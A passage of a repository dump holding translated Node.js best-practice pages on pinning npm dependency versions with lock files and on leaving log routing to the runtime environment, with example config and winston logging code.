{\r\n            \"version\": \"9.2.6\",\r\n            \"resolved\": \"https://registry.npmjs.org/cacache/-/cacache-9.2.6.tgz\",\r\n            \"integrity\": \"sha512-YK0Z5Np5t755edPL6gfdCeGxtU0rcW/DBhYhYVDckT+7AFkCCtedf2zru5NRbBLFk6e7Agi/RaqTOAfiaipUfg==\"\r\n        },\r\n        \"duplexify\": {\r\n            \"version\": \"3.5.0\",\r\n            \"resolved\": \"https://registry.npmjs.org/duplexify/-/duplexify-3.5.0.tgz\",\r\n            \"integrity\": \"sha1-GqdzAC4VeEV+nZ1KULDMquvL1gQ=\",\r\n            \"dependencies\": {\r\n                \"end-of-stream\": {\r\n                    \"version\": \"1.0.0\",\r\n                    \"resolved\": \"https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.0.0.tgz\",\r\n                    \"integrity\": \"sha1-1FlucCc0qT5A6a+GQxnqvZn/Lw4=\"\r\n                }\r\n            }\r\n        }\r\n    }\r\n}\r\n```\r\n"
  },
  {
    "path": "sections/production/lockdependencies.chinese.md",
    "content": "# 锁定依赖版本\r\n\r\n<br/><br/>\r\n\r\n\r\n### 一段解释\r\n\r\n\r\n\r\n您的代码依赖于许多外部包，假设它“需要”和使用momentjs-2.1.4，默认情况下，当布署到生产中时，npm可能会获得momentjs 2.1.5，但不幸的是，这将带来一些新的bug。使用npm配置文件和设置 ```–save-exact=true``` 指示npm去完成安装，以便下次运行 ```npm install```（在生产或在Docker容器中，您计划将其用于测试）时，将获取相同的依赖版本。另一种可选择受欢迎的方法是使用一个shrinkwrap文件（很容易使用npm生成）指出应该安装哪些包和版本，这样就不需要环境来获取新版本了。\r\n\r\n* **更新:** 在npm5中，使用.shrinkwrap依赖项会被自动锁定。Yarn，一个新兴的包管理器，默认情况下也会锁定依赖项。\r\n\r\n<br/><br/>\r\n\r\n\r\n### 代码示例: .npmrc文件指示npm使用精确的版本\r\n\r\n```\r\n// 在项目目录上保存这个为.npmrc 文件\r\nsave-exact:true\r\n```\r\n\r\n<br/><br/>\r\n\r\n### 代码示例: shirnkwrap.json文件获取准确的依赖关系树\r\n\r\n```javascript\r\n{\r\n    \"name\": \"A\",\r\n    \"dependencies\": {\r\n        \"B\": {\r\n            \"version\": \"0.0.1\",\r\n            \"dependencies\": {\r\n                \"C\": { \r\n                    \"version\": \"0.1.0\"\r\n                }\r\n            }\r\n        }\r\n    }\r\n}\r\n```\r\n\r\n<br/><br/>\r\n\r\n### 代码示例: npm5依赖锁文件 - package.json\r\n\r\n```javascript\r\n{\r\n    \"name\": \"package-name\",\r\n    \"version\": \"1.0.0\",\r\n    \"lockfileVersion\": 1,\r\n    \"dependencies\": {\r\n        \"cacache\": {\r\n            \"version\": \"9.2.6\",\r\n            \"resolved\": \"https://registry.npmjs.org/cacache/-/cacache-9.2.6.tgz\",\r\n            \"integrity\": \"sha512-YK0Z5Np5t755edPL6gfdCeGxtU0rcW/DBhYhYVDckT+7AFkCCtedf2zru5NRbBLFk6e7Agi/RaqTOAfiaipUfg==\"\r\n        },\r\n        \"duplexify\": {\r\n            \"version\": \"3.5.0\",\r\n            \"resolved\": \"https://registry.npmjs.org/duplexify/-/duplexify-3.5.0.tgz\",\r\n            \"integrity\": \"sha1-GqdzAC4VeEV+nZ1KULDMquvL1gQ=\",\r\n            \"dependencies\": {\r\n                \"end-of-stream\": {\r\n                    \"version\": \"1.0.0\",\r\n                    \"resolved\": \"https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.0.0.tgz\",\r\n                    \"integrity\": \"sha1-1FlucCc0qT5A6a+GQxnqvZn/Lw4=\"\r\n                }\r\n            }\r\n        }\r\n    }\r\n}\r\n```\r\n"
  },
  {
    "path": "sections/production/lockdependencies.french.md",
    "content": "# Verrouillez les dépendances\n\n<br/><br/>\n\n### Un paragraphe d'explication\n\nVotre code dépend de nombreux paquets externes, disons qu'il \"requiert\" et utilise momentjs-2.1.4, puis par défaut lorsque vous déployez en production, npm peut récupérer momentjs 2.1.5, ce qui malheureusement apporte quelques nouveaux bogues. L'utilisation de fichiers de configuration npm et de l'argument ```–save-exact=true``` indique à npm de se référer à la version *strictement* identique à celle qui a été installée, donc la prochaine fois que vous exécuterez ```npm install``` (en production ou dans un conteneur Docker que vous prévoyez d'expédier pour test), la même version dépendante sera récupérée. Une approche alternative et populaire utilise un fichier `.shrinkwrap` (facilement généré à l'aide de npm) qui indique exactement quels packages et versions doivent être installés afin qu'aucun environnement ne soit tenté de récupérer des versions plus récentes que prévu.\n\n* **Mise à jour :** à partir de npm 5, les dépendances sont verrouillées automatiquement à l'aide de .shrinkwrap. Yarn, un nouveau gestionnaire de packages, verrouille également les dépendances par défaut.\n\n<br/><br/>\n\n### Exemple de code : fichier .npmrc qui demande à npm d'utiliser des versions exactes\n\n```npmrc\n// enregistrez-le en tant que fichier .npmrc dans le répertoire du projet\nsave-exact:true\n```\n\n<br/><br/>\n\n### Exemple de code : fichier shrinkwrap.json qui extrait l'arbre exact des dépendances\n\n```json\n{\n    \"name\": \"A\",\n    \"dependencies\": {\n        \"B\": {\n            \"version\": \"0.0.1\",\n            \"dependencies\": {\n                \"C\": {\n                    \"version\": \"0.1.0\"\n                }\n            }\n        }\n    }\n}\n```\n\n<br/><br/>\n\n### Exemple de code : fichier de verrouillage des dépendances npm 5 - package-lock.json\n\n```json\n{\n    \"name\": \"package-name\",\n    \"version\": \"1.0.0\",\n    \"lockfileVersion\": 1,\n    \"dependencies\": {\n        \"cacache\": {\n            \"version\": \"9.2.6\",\n            \"resolved\": \"https://registry.npmjs.org/cacache/-/cacache-9.2.6.tgz\",\n            \"integrity\": \"sha512-YK0Z5Np5t755edPL6gfdCeGxtU0rcW/DBhYhYVDckT+7AFkCCtedf2zru5NRbBLFk6e7Agi/RaqTOAfiaipUfg==\"\n        },\n        \"duplexify\": {\n            \"version\": \"3.5.0\",\n            \"resolved\": \"https://registry.npmjs.org/duplexify/-/duplexify-3.5.0.tgz\",\n            \"integrity\": \"sha1-GqdzAC4VeEV+nZ1KULDMquvL1gQ=\",\n            \"dependencies\": {\n                \"end-of-stream\": {\n                    \"version\": \"1.0.0\",\n                    \"resolved\": \"https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.0.0.tgz\",\n                    \"integrity\": \"sha1-1FlucCc0qT5A6a+GQxnqvZn/Lw4=\"\n                }\n            }\n        }\n    }\n}\n```\n"
  },
  {
    "path": "sections/production/lockdependencies.japanese.md",
    "content": "# 依存関係をロックする\r\n\r\n<br/><br/>\r\n\r\n### 一段落説明\r\n\r\nあなたのコードは多くの外部パッケージに依存しています。例えば、'require' して momentjs-2.1.4 を使用しているとします。デフォルトでは、本番環境にデプロイするときに npm が momentjs 2.1.5 をフェッチすることがありますが、これは残念ながらテーブルにいくつかの新しいバグをもたらすことになります。npm の設定ファイルと引数 ```-save-exact=true``` を使うことで、インストールされた*正確な*同じバージョンを参照するように npm に指示します。そのため、次に ```npm install``` を実行したとき（本番環境やテスト用に出荷する予定の Docker コンテナ内で）、同じ依存バージョンが取得されます。別のポピュラーな方法としては、`.shrinkwrap` ファイル ( npm を使って簡単に生成されます) を使って、どのパッケージとバージョンをインストールすべきかを正確に記述することで、環境が期待以上に新しいバージョンを取得したくなることがないようにする方法があります。\r\n\r\n* **更新:** npm 5 の時点で、依存関係は .shrinkwrap を使って自動的にロックされます。新興のパッケージマネージャである Yarn も、デフォルトで依存関係をロックしています。\r\n\r\n<br/><br/>\r\n\r\n### コード例: 正確なバージョンを使用するように npm に指示する .npmrc ファイル\r\n\r\n```npmrc\r\n// これをプロジェクトディレクトリに .npmrc ファイルとして保存します\r\nsave-exact:true\r\n```\r\n\r\n<br/><br/>\r\n\r\n### コード例: 依存関係ツリーを正確に蒸留した shrinkwrap.json ファイル\r\n\r\n```json\r\n{\r\n    \"name\": \"A\",\r\n    \"dependencies\": {\r\n        \"B\": {\r\n            \"version\": \"0.0.1\",\r\n            \"dependencies\": {\r\n                \"C\": {\r\n                    \"version\": \"0.1.0\"\r\n                }\r\n            }\r\n        }\r\n    }\r\n}\r\n```\r\n\r\n<br/><br/>\r\n\r\n### コード例: npm 5 依存関係ロックファイル - package-lock.json\r\n\r\n```json\r\n{\r\n    \"name\": \"package-name\",\r\n    \"version\": \"1.0.0\",\r\n    \"lockfileVersion\": 1,\r\n    \"dependencies\": {\r\n        \"cacache\": {\r\n            \"version\": \"9.2.6\",\r\n            \"resolved\": \"https://registry.npmjs.org/cacache/-/cacache-9.2.6.tgz\",\r\n            \"integrity\": \"sha512-YK0Z5Np5t755edPL6gfdCeGxtU0rcW/DBhYhYVDckT+7AFkCCtedf2zru5NRbBLFk6e7Agi/RaqTOAfiaipUfg==\"\r\n        },\r\n        \"duplexify\": {\r\n            \"version\": \"3.5.0\",\r\n            \"resolved\": \"https://registry.npmjs.org/duplexify/-/duplexify-3.5.0.tgz\",\r\n            \"integrity\": \"sha1-GqdzAC4VeEV+nZ1KULDMquvL1gQ=\",\r\n            \"dependencies\": {\r\n                \"end-of-stream\": {\r\n                    \"version\": \"1.0.0\",\r\n                    \"resolved\": \"https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.0.0.tgz\",\r\n                    \"integrity\": \"sha1-1FlucCc0qT5A6a+GQxnqvZn/Lw4=\"\r\n                }\r\n            }\r\n        }\r\n    }\r\n}\r\n```\r\n"
  },
  {
    "path": "sections/production/lockdependencies.korean.md",
    "content": "# Lock dependencies\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nYour code depends on many external packages, let’s say it ‘requires’ and use momentjs-2.1.4, then by default when you deploy to production npm might fetch momentjs 2.1.5 which unfortunately brings some new bugs to the table. Using npm config files and the argument ```–save-exact=true``` instructs npm to refer to the *exact* same version that was installed so the next time you run ```npm install``` (in production or within a Docker container you plan to ship forward for testing) the same dependent version will be fetched. An alternative and popular approach is using a `.shrinkwrap` file (easily generated using npm) that states exactly which packages and versions should be installed so no environment can get tempted to fetch newer versions than expected.\r\n\r\n* **Update:** as of npm 5, dependencies are locked automatically using .shrinkwrap. Yarn, an emerging package manager, also locks down dependencies by default.\r\n\r\n<br/><br/>\r\n\r\n### Code example: .npmrc file that instructs npm to use exact versions\r\n\r\n```npmrc\r\n// save this as .npmrc file on the project directory\r\nsave-exact:true\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Code example: shrinkwrap.json file that distills the exact dependency tree\r\n\r\n```json\r\n{\r\n    \"name\": \"A\",\r\n    \"dependencies\": {\r\n        \"B\": {\r\n            \"version\": \"0.0.1\",\r\n            \"dependencies\": {\r\n                \"C\": {\r\n                    \"version\": \"0.1.0\"\r\n                }\r\n            }\r\n        }\r\n    }\r\n}\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Code example: npm 5 dependencies lock file – package.json\r\n\r\n```json\r\n{\r\n    \"name\": \"package-name\",\r\n    \"version\": \"1.0.0\",\r\n    \"lockfileVersion\": 1,\r\n    \"dependencies\": {\r\n        \"cacache\": {\r\n            \"version\": \"9.2.6\",\r\n            \"resolved\": \"https://registry.npmjs.org/cacache/-/cacache-9.2.6.tgz\",\r\n            \"integrity\": \"sha512-YK0Z5Np5t755edPL6gfdCeGxtU0rcW/DBhYhYVDckT+7AFkCCtedf2zru5NRbBLFk6e7Agi/RaqTOAfiaipUfg==\"\r\n        },\r\n        \"duplexify\": {\r\n            \"version\": \"3.5.0\",\r\n            \"resolved\": \"https://registry.npmjs.org/duplexify/-/duplexify-3.5.0.tgz\",\r\n            \"integrity\": \"sha1-GqdzAC4VeEV+nZ1KULDMquvL1gQ=\",\r\n            \"dependencies\": {\r\n                \"end-of-stream\": {\r\n                    \"version\": \"1.0.0\",\r\n                    \"resolved\": \"https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.0.0.tgz\",\r\n                    \"integrity\": \"sha1-1FlucCc0qT5A6a+GQxnqvZn/Lw4=\"\r\n                }\r\n            }\r\n        }\r\n    }\r\n}\r\n```\r\n"
  },
  {
    "path": "sections/production/lockdependencies.md",
    "content": "# Lock dependencies\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nYour code depends on many external packages, let’s say it ‘requires’ and use momentjs-2.1.4, then by default when you deploy to production npm might fetch momentjs 2.1.5 which unfortunately brings some new bugs to the table. Using npm config files and the argument `–save-exact=true` instructs npm to refer to the _exact_ same version that was installed so the next time you run `npm install` (in production or within a Docker container you plan to ship forward for testing) the same dependent version will be fetched. Due to this, starting from npm version 5 a package-lock.json file is generated in every install. This lock file pins all the dependencies and child dependencies versions. When the file is committed, any future install the gets a copy of the app will install the same dependencies version\r\n\r\n<br/><br/>\r\n\r\n### Code example: .npmrc file that instructs npm to use exact versions\r\n\r\n```npmrc\r\n// save this as .npmrc file on the project directory\r\nsave-exact:true\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Code example: npm 5 dependencies lock file – package-lock.json\r\n\r\n```json\r\n{\r\n  \"name\": \"package-name\",\r\n  \"version\": \"1.0.0\",\r\n  \"lockfileVersion\": 1,\r\n  \"dependencies\": {\r\n    \"cacache\": {\r\n      \"version\": \"9.2.6\",\r\n      \"resolved\": \"https://registry.npmjs.org/cacache/-/cacache-9.2.6.tgz\",\r\n      \"integrity\": \"sha512-YK0Z5Np5t755edPL6gfdCeGxtU0rcW/DBhYhYVDckT+7AFkCCtedf2zru5NRbBLFk6e7Agi/RaqTOAfiaipUfg==\"\r\n    },\r\n    \"duplexify\": {\r\n      \"version\": \"3.5.0\",\r\n      \"resolved\": \"https://registry.npmjs.org/duplexify/-/duplexify-3.5.0.tgz\",\r\n      \"integrity\": \"sha1-GqdzAC4VeEV+nZ1KULDMquvL1gQ=\",\r\n      \"dependencies\": {\r\n        \"end-of-stream\": {\r\n          \"version\": \"1.0.0\",\r\n          \"resolved\": \"https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.0.0.tgz\",\r\n          \"integrity\": \"sha1-1FlucCc0qT5A6a+GQxnqvZn/Lw4=\"\r\n        }\r\n      }\r\n    }\r\n  }\r\n}\r\n```\r\n"
  },
  {
    "path": "sections/production/lockdependencies.polish.md",
    "content": "# Zablokuj zależności\n\n<br/><br/>\n\n### Wyjaśnienie jednym akapitem\n\nTwój kod zależy od wielu zewnętrznych pakietów, powiedzmy, że „wymaga” i używa momentjs-2.1.4, a następnie domyślnie po wdrożeniu do produkcji npm może pobrać momentjs 2.1.5, co niestety wprowadza kilka nowych błędów do tabeli. Użycie plików konfiguracyjnych npm i argumentu ``–save-exact = true`` instruuje npm, aby odwoływał się do *dokładnie* tej samej wersji, która została zainstalowana, więc gdy następnym razem uruchomisz ``npm install`` (w wersji produkcyjnej lub w kontenerze Docker, który planujesz wysłać do testowania), zostanie pobrana ta sama zależna wersja. Alternatywnym i popularnym podejściem jest użycie pliku `.shrinkwrap` (łatwego do wygenerowania przy użyciu npm), który dokładnie określa, które pakiety i wersje powinny zostać zainstalowane, aby żadne środowisko nie mogło ulec pokusie pobierania nowszych wersji niż oczekiwano.\n\n* **Aktualizacja:** od npm 5 zależności są blokowane automatycznie przy użyciu .shrinkwrap. Yarn, nowy menedżer pakietów, domyślnie blokuje również zależności.\n\n<br/><br/>\n\n### Przykład kodu: plik .npmrc, który instruuje npm, aby używał dokładnych wersji\n\n```npmrc\n// save this as .npmrc file on the project directory\nsave-exact:true\n```\n\n<br/><br/>\n\n### Przykład kodu: plik shrinkwrap.json, który destyluje dokładne drzewo zależności\n\n```json\n{\n    \"name\": \"A\",\n    \"dependencies\": {\n        \"B\": {\n            \"version\": \"0.0.1\",\n            \"dependencies\": {\n                \"C\": {\n                    \"version\": \"0.1.0\"\n                }\n            }\n        }\n    }\n}\n```\n\n<br/><br/>\n\n### Przykład kodu: plik blokady zależności npm 5 – package.json\n\n```json\n{\n    \"name\": \"package-name\",\n    \"version\": \"1.0.0\",\n    \"lockfileVersion\": 1,\n    \"dependencies\": {\n        \"cacache\": {\n            \"version\": \"9.2.6\",\n            \"resolved\": \"https://registry.npmjs.org/cacache/-/cacache-9.2.6.tgz\",\n            \"integrity\": \"sha512-YK0Z5Np5t755edPL6gfdCeGxtU0rcW/DBhYhYVDckT+7AFkCCtedf2zru5NRbBLFk6e7Agi/RaqTOAfiaipUfg==\"\n        },\n        \"duplexify\": {\n            \"version\": \"3.5.0\",\n            \"resolved\": \"https://registry.npmjs.org/duplexify/-/duplexify-3.5.0.tgz\",\n            \"integrity\": \"sha1-GqdzAC4VeEV+nZ1KULDMquvL1gQ=\",\n            \"dependencies\": {\n                \"end-of-stream\": {\n                    \"version\": \"1.0.0\",\n                    \"resolved\": \"https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.0.0.tgz\",\n                    \"integrity\": \"sha1-1FlucCc0qT5A6a+GQxnqvZn/Lw4=\"\n                }\n            }\n        }\n    }\n}\n```\n"
  },
  {
    "path": "sections/production/lockdependencies.russian.md",
    "content": "# Блокируйте зависимости\r\n\r\n<br/><br/>\r\n\r\n### Объяснение в один абзац\r\n\r\nВаш код зависит от многих внешних пакетов, допустим, что он \"требует\" и использует momentjs-2.1.4, тогда по умолчанию при развертывании в рабочей среде npm может получить momentjs-2.1.5, что, к сожалению, приводит к появлению новых ошибок. Использование файлов конфигурации npm и параметра ```-save-correct = true``` указывает npm ссылаться на *точную* версию, которая была установлена, поэтому при следующем запуске ```npm install``` (в работе или в контейнере Docker, который вы планируете отправить для тестирования) будет выбрана та же версия зависимости. Альтернативный и популярный подход заключается в использовании файла `.shrinkwrap` (легко генерируемого с помощью npm), в котором указывается, какие именно пакеты и версии следует установить, чтобы ни у одной среды не было соблазна получить более новые версии, чем ожидалось.\r\n\r\n* **Обновление:** начиная с npm 5, зависимости блокируются автоматически с помощью .shrinkwrap. Yarn, еще один менеджер пакетов, также блокирует зависимости по умолчанию.\r\n\r\n<br/><br/>\r\n\r\n### Пример кода: файл .npmrc, который указывает npm использовать точные версии\r\n\r\n```npmrc\r\n// save this as .npmrc file on the project directory\r\nsave-exact:true\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Пример кода: файл shrinkwrap.json, в котором определяется точное дерево зависимостей\r\n\r\n```json\r\n{\r\n    \"name\": \"A\",\r\n    \"dependencies\": {\r\n        \"B\": {\r\n            \"version\": \"0.0.1\",\r\n            \"dependencies\": {\r\n                \"C\": {\r\n                    \"version\": \"0.1.0\"\r\n                }\r\n            }\r\n        }\r\n    }\r\n}\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Пример кода: файл блокировки зависимостей npm 5 - package.json\r\n\r\n```json\r\n{\r\n    \"name\": \"package-name\",\r\n    \"version\": \"1.0.0\",\r\n    \"lockfileVersion\": 1,\r\n    \"dependencies\": {\r\n        \"cacache\": {\r\n            \"version\": \"9.2.6\",\r\n            \"resolved\": \"https://registry.npmjs.org/cacache/-/cacache-9.2.6.tgz\",\r\n            \"integrity\": \"sha512-YK0Z5Np5t755edPL6gfdCeGxtU0rcW/DBhYhYVDckT+7AFkCCtedf2zru5NRbBLFk6e7Agi/RaqTOAfiaipUfg==\"\r\n        },\r\n        \"duplexify\": {\r\n            \"version\": \"3.5.0\",\r\n            \"resolved\": \"https://registry.npmjs.org/duplexify/-/duplexify-3.5.0.tgz\",\r\n            \"integrity\": \"sha1-GqdzAC4VeEV+nZ1KULDMquvL1gQ=\",\r\n            \"dependencies\": {\r\n                \"end-of-stream\": {\r\n                    \"version\": \"1.0.0\",\r\n                    \"resolved\": \"https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.0.0.tgz\",\r\n                    \"integrity\": \"sha1-1FlucCc0qT5A6a+GQxnqvZn/Lw4=\"\r\n                }\r\n            }\r\n        }\r\n    }\r\n}\r\n```\r\n"
  },
  {
    "path": "sections/production/logrouting.basque.md",
    "content": "# Aplikazioaren kodeak ez luke erregistroen bideraketa kudeatu beharko\n\n<br/><br/>\n\n### Azalpena\n\nAplikazioaren kodeak ez luke erregistroen bideraketa kudeatu behar, baina erregistro tresnaren bat erabili beharko luke `stdout/stderr`-era idazteko. \"Erregistroen bideratzeak\" esan nahi du zure eskaerara edo eskaera prozesua ez den beste kokapen batera eraman eta bultzatzea erregistroak, adibidez, erregistroak fitxategi batean, datu basean eta abar idaztea. Bi dira, batez ere, horren arrazoiak: 1) kezkak bereiztea eta 2) [aplikazio modernoen 12 faktoreko praktika onak](https://12factor.net/logs).\n\n\"Kezkak bereiztea\" esatean, askotan pentsatzen dugu zerbitzuen arteko kode zatiei eta zerbitzuen euren arteko loturei buruz ari garela, baina hori \"azpiegitura\" osagaiei ere aplikatzen zaie. Aplikazioaren kodeak ez luke kudeatu behar azpiegiturak/exekuzio inguruneak (egun gehienetan, edukiontziak) kudeatu beharko lukeen zerbait. Zer gertatzen da aplikazioko erregistroen kokapenak zehazten badituzu, baina geroago kokapen hori aldatu behar baduzu? Horrek kode aldaketa eta inplementazioa eragiten ditu. Edukiontzietan/hodeian oinarritutako plataformekin lan egiten denean, edukiontziak biratu eta itxi egin daitezke errendimendu eskaeretara eskalatzean, eta, beraz, ezin dugu ziurtatu non amaituko diren erregistroen fitxategiak. Exekuzio inguruneak (edukiontziak) erabaki beharko luke nora bideratuko diren erregistro fitxategiak. Aplikazioak zer behar duen erregistratu beharko luke `stdout` / `stderr`-en, eta exekuzio ingurunea konfiguratuta egon beharko litzateke erregistro fluxua han jaso eta joan behar duen lekura bideratzeko. Halaber, erregistroen helmugak zehaztu edo / eta aldatu behar dituzten taldeko kideak askotan ez dira aplikazioen garatzaileak, baizik eta DevOps-eko kideak, eta agian ez dute aplikazioaren kodea ezagutzen. Horrek eragozten die aldaketak erraz egitea.\nAnti ereduaren kode adibidea: erregistroaren bideratzea aplikazioari hertsiki lotua\n\n<br/><br/>\n\n### Anti ereduaren kode adibidea: erregistroaren bideratzea aplikazioari hertsiki lotua\n\n```javascript\nconst { createLogger, transports, winston } = require(\"winston\");\n/**\n * `winston-mongodb` eskatzeak\n * `winston.transports.MongoDB` agerian utziko du\n */\nrequire(\"winston-mongodb\");\n\n// bi fitxategi ezberdin erregistratu, honela aplikazioa hauekin lotuta egongo da\nconst logger = createLogger({\n  transports: [new transports.File({ filename: \"combined.log\" })],\n  exceptionHandlers: [new transports.File({ filename: \"exceptions.log\" })],\n});\n\n// MongoDB-n erregistratu, honela aplikazioa hauekin lotuta egongo da\nwinston.add(winston.transports.MongoDB, options);\n```\n\nHorrela eginez gero, aplikazioak kudeatuko ditu bai aplikazio/ negozio logika, bai erregistroen bideratze logika!\n\n<br/><br/>\n\n### Kodea adibidea: erregistroen tratamendu onena + Docker adibidea\n\nIn the application:\n\n```javascript\nconst logger = new winston.Logger({\n  level: \"info\",\n  transports: [new winston.transports.Console()],\n});\n\nlogger.log(\n  \"info\",\n  \"Test Log Message with some parameter %s\",\n  \"some parameter\",\n  { anything: \"This is metadata\" }\n);\n```\n\nThen, in the docker container `daemon.json`:\n\n```json5\n{\n  \"log-driver\": \"splunk\", // Splunk erabiliaz, adibide gisa, beste gordetze mota bat izango genuke\n  \"log-opts\": {\n    \"splunk-token\": \"\",\n    \"splunk-url\": \"\",\n    //...\n  },\n}\n```\n\nBeraz adibide honek `log -> stdout -> Docker container -> Splunk`-en antza du\n\n<br/><br/>\n\n### Blogaren aipua: \"O'Reilly\"\n\n[O'Reilly](https://www.oreilly.com/ideas/a-cloud-native-approach-to-logs) bloga,\n\n> Zerbitzari kopuru konkretu batean instantzia kopuru finko bat duzunean, ematen du erregistroak diskoan gordetzea zentzuzkoa dela. Hala ere, zure aplikazioa dinamikoki exekutatzen ari den instantzia batetik 100era pasa daitekeenean eta instantzia horiek non exekutatzen diren ez dakizunean, zure hodei hornitzaileak erregistro horiek zure partez gehitu beharko ditu zure partez.\n\n<br/><br/>\n\n### Aipua: \"12 faktorea\"\n\n[Saioa hasteko 12 faktoreko praktika onenak](https://12factor.net/logs) testutik hartua:\n\n> Hamabi faktoreko aplikazio bat ez da inoiz bere irteera korrontea bideratzeaz edo biltegiratzeaz arduratzen. Ez luke saiatu behar erregistro fitxategietan idazten edo kudeatzen. Horren ordez, exekutatzen ari den prozesu bakoitzak bere gertaeren korrontea, bufferrik gabekoa, stdout-era idazten du.\n\n> Proba edo produkzio inplementazioetan, exekuzio inguruneak harrapatuko du prozesu bakoitzeko korrontea, aplikazioko beste korronte guztiekin batera bildu eta azken helmuga batera edo gehiagora bideratuko ditu ikusteko eta epe luzerako artxibatzeko. Aplikazioak ezin ditu artxiboko helmuga horiek ikusi, ezta konfiguratu ere, eta exekuzio ingurunea da kudeatzen dituen bakarra.\n\n<br/><br/>\n\n### Adibidea: arkitekturaren ikuspegi orokorra Docker eta Splunk erabiliz adibide gisa\n\n![alt text](../../assets/images/logging-overview.png \"Arkitekturaren ikuspegi orokorra\")\n\n<br/><br/>\n"
  },
  {
    "path": "sections/production/logrouting.brazilian-portuguese.md",
    "content": "# Não direcione logs dentro do aplicativo\n\n<br/><br/>\n\n### Explicação em um Parágrafo\n\nO código da aplicação não deve manipular o roteamento de log, mas deve usar um utilitário de logger para gravar em `stdout/stderr`. \"Roteamento de log\" significa selecionar e enviar logs para um local diferente da aplicação ou processo da aplicação, por exemplo, gravar os logs em um arquivo, banco de dados etc. A razão para isso é principalmente dupla: 1) separação de interesses e 2) [Melhores práticas de 12 fatores para aplicações modernas](https://12factor.net/logs).\n\nMuitas vezes pensamos em \"separação de interesses\" em termos de pedaços de código entre serviços e entre os próprios serviços, mas isso se aplica também aos componentes mais \"infra-estruturais\". Seu código da aplicação não deve manipular algo que deve ser tratado pela infraestrutura/ambiente de execução (na maioria das vezes nos dias de hoje, contêineres). O que acontece se você definir os locais de log em sua aplicação, mas depois precisar alterar esse local? Isso resulta em uma alteração e implementação de código. Ao trabalhar com plataformas baseadas em contêiner/nuvem, os contêineres podem delegar e desligar ao escalar para demandas de desempenho, portanto, não podemos ter certeza de onde um arquivo de log terminará. O ambiente de execução (container) deve decidir para onde os arquivos de log serão roteados. O aplicativo deve apenas registrar o que precisa para `stdout`/`stderr`, e o ambiente de execução deve ser configurado para pegar o fluxo de log a partir de lá e roteá-lo para onde ele precisa ir. Além disso, aqueles na equipe que precisam especificar e/ou alterar os destinos de log geralmente não são desenvolvedores de aplicações, mas fazem parte do DevOps e podem não ter familiaridade com o código da aplicação. Isso impede que eles façam alterações facilmente.\n\n<br/><br/>\n\n### Exemplo de código - Anti-padrão: roteamento de log bem acoplado ao aplicativo\n\n```javascript\nconst { createLogger, transports, winston } = require('winston');\nconst winston-mongodb = require('winston-mongodb');\n \n// log para dois arquivos diferentes, que o aplicativo agora deve estar preocupado com\nconst logger = createLogger({\n  transports: [\n    new transports.File({ filename: 'combined.log' }),\n \n  ],\n  exceptionHandlers: [\n    new transports.File({ filename: 'exceptions.log' })\n  ]\n});\n \n// log para MongoDB, que o aplicativo agora deve estar preocupado com\nwinston.add(winston.transports.MongoDB, options);\n```\nFazendo isso dessa maneira, a aplicação agora lida com lógica de aplicativo/lógica de negócios e lógica de roteamento de log!\n\n<br/><br/>\n\n### Exemplo de código - melhor tratamento de logs + exemplo do Docker\nIn the application:\n```javascript\nconst logger = new winston.Logger({\n  level: 'info',\n  transports: [\n    new (winston.transports.Console)()\n  ]\n});\n\nlogger.log('info', 'Mensagem de Log de Teste com algum parâmetro %s', 'algum parâmetro', { anything: 'Este é um metadado' });\n```\nThen, in the docker container `daemon.json`:\n```javascript\n{\n  \"log-driver\": \"splunk\", // usando apenas o Splunk como exemplo, poderia ser outro tipo de armazenamento\n  \"log-opts\": {\n    \"splunk-token\": \"\",\n    \"splunk-url\": \"\",\n    ...\n  }\n}\n```\nEntão este exemplo acaba ficando como `log -> stdout -> Docker container -> Splunk`\n\n<br/><br/>\n\n### Citação de Blog: \"O'Reilly\"\n\nDo [blog O'Reilly](https://www.oreilly.com/ideas/a-cloud-native-approach-to-logs),\n > Quando você tem um número fixo de instâncias em um número fixo de servidores, o armazenamento de logs no disco parece fazer sentido. No entanto, quando sua aplicação pode ir dinamicamente de 1 instância em execução para 100 e você não tem ideia de onde essas instâncias estão sendo executadas, é necessário que seu provedor de nuvem lide com a agregação desses logs em seu nome.\n\n<br/><br/>\n\n### Citação: \"12-Factor\"\n\nDo [guia de boas práticas 12-Factor](https://12factor.net/logs),\n > Uma aplicação de doze fatores nunca se preocupa com o roteamento ou armazenamento de seu fluxo de saída. Não se deve tentar gravar ou gerenciar arquivos de log. Em vez disso, cada processo em execução grava seu fluxo de eventos, sem buffer, em stdout.\n \n > Nas implantações de teste ou de produção, o fluxo de cada processo será capturado pelo ambiente de execução, agrupado com todos os outros fluxos da aplicação e roteado para um ou mais destinos finais para visualização e arquivamento de longo prazo. Esses destinos de arquivamento não são visíveis ou configuráveis ​​pela aplicação e, em vez disso, são completamente gerenciados pelo ambiente de execução.\n\n<br/><br/>\n\n ### Exemplo: Visão geral da arquitetura usando o Docker e o Splunk como exemplo\n\n![alt text](../../assets/images/logging-overview.png \"Visão geral de roteamento de log\")\n\n<br/><br/>\n"
  },
  {
    "path": "sections/production/logrouting.french.md",
    "content": "# Votre application ne doit pas gérer la redirection du journal\n\n<br/><br/>\n\n### Un paragraphe d'explication\n\nLe code de l'application ne devrait pas gérer le routage des journaux, mais plutôt utiliser un utilitaire de journalisation pour écrire dans `stdout/stderr`. Le « routage des journaux » signifie qu'il faut récupérer et pousser les journaux vers un autre endroit que votre application ou processus d'application, par exemple, écrire les journaux dans un fichier, une base de données, etc. La raison en est essentiellement double : 1) la séparation des préoccupations et 2) [12-Factor les meilleures pratiques pour les applications modernes](https://12factor.net/logs).\n\nNous pensons souvent à la « séparation des préoccupations » en termes de morceaux de code entre les services et entre les services eux-mêmes, mais cela s'applique également aux éléments plus « infrastructurels ». Votre code d'application ne doit pas gérer 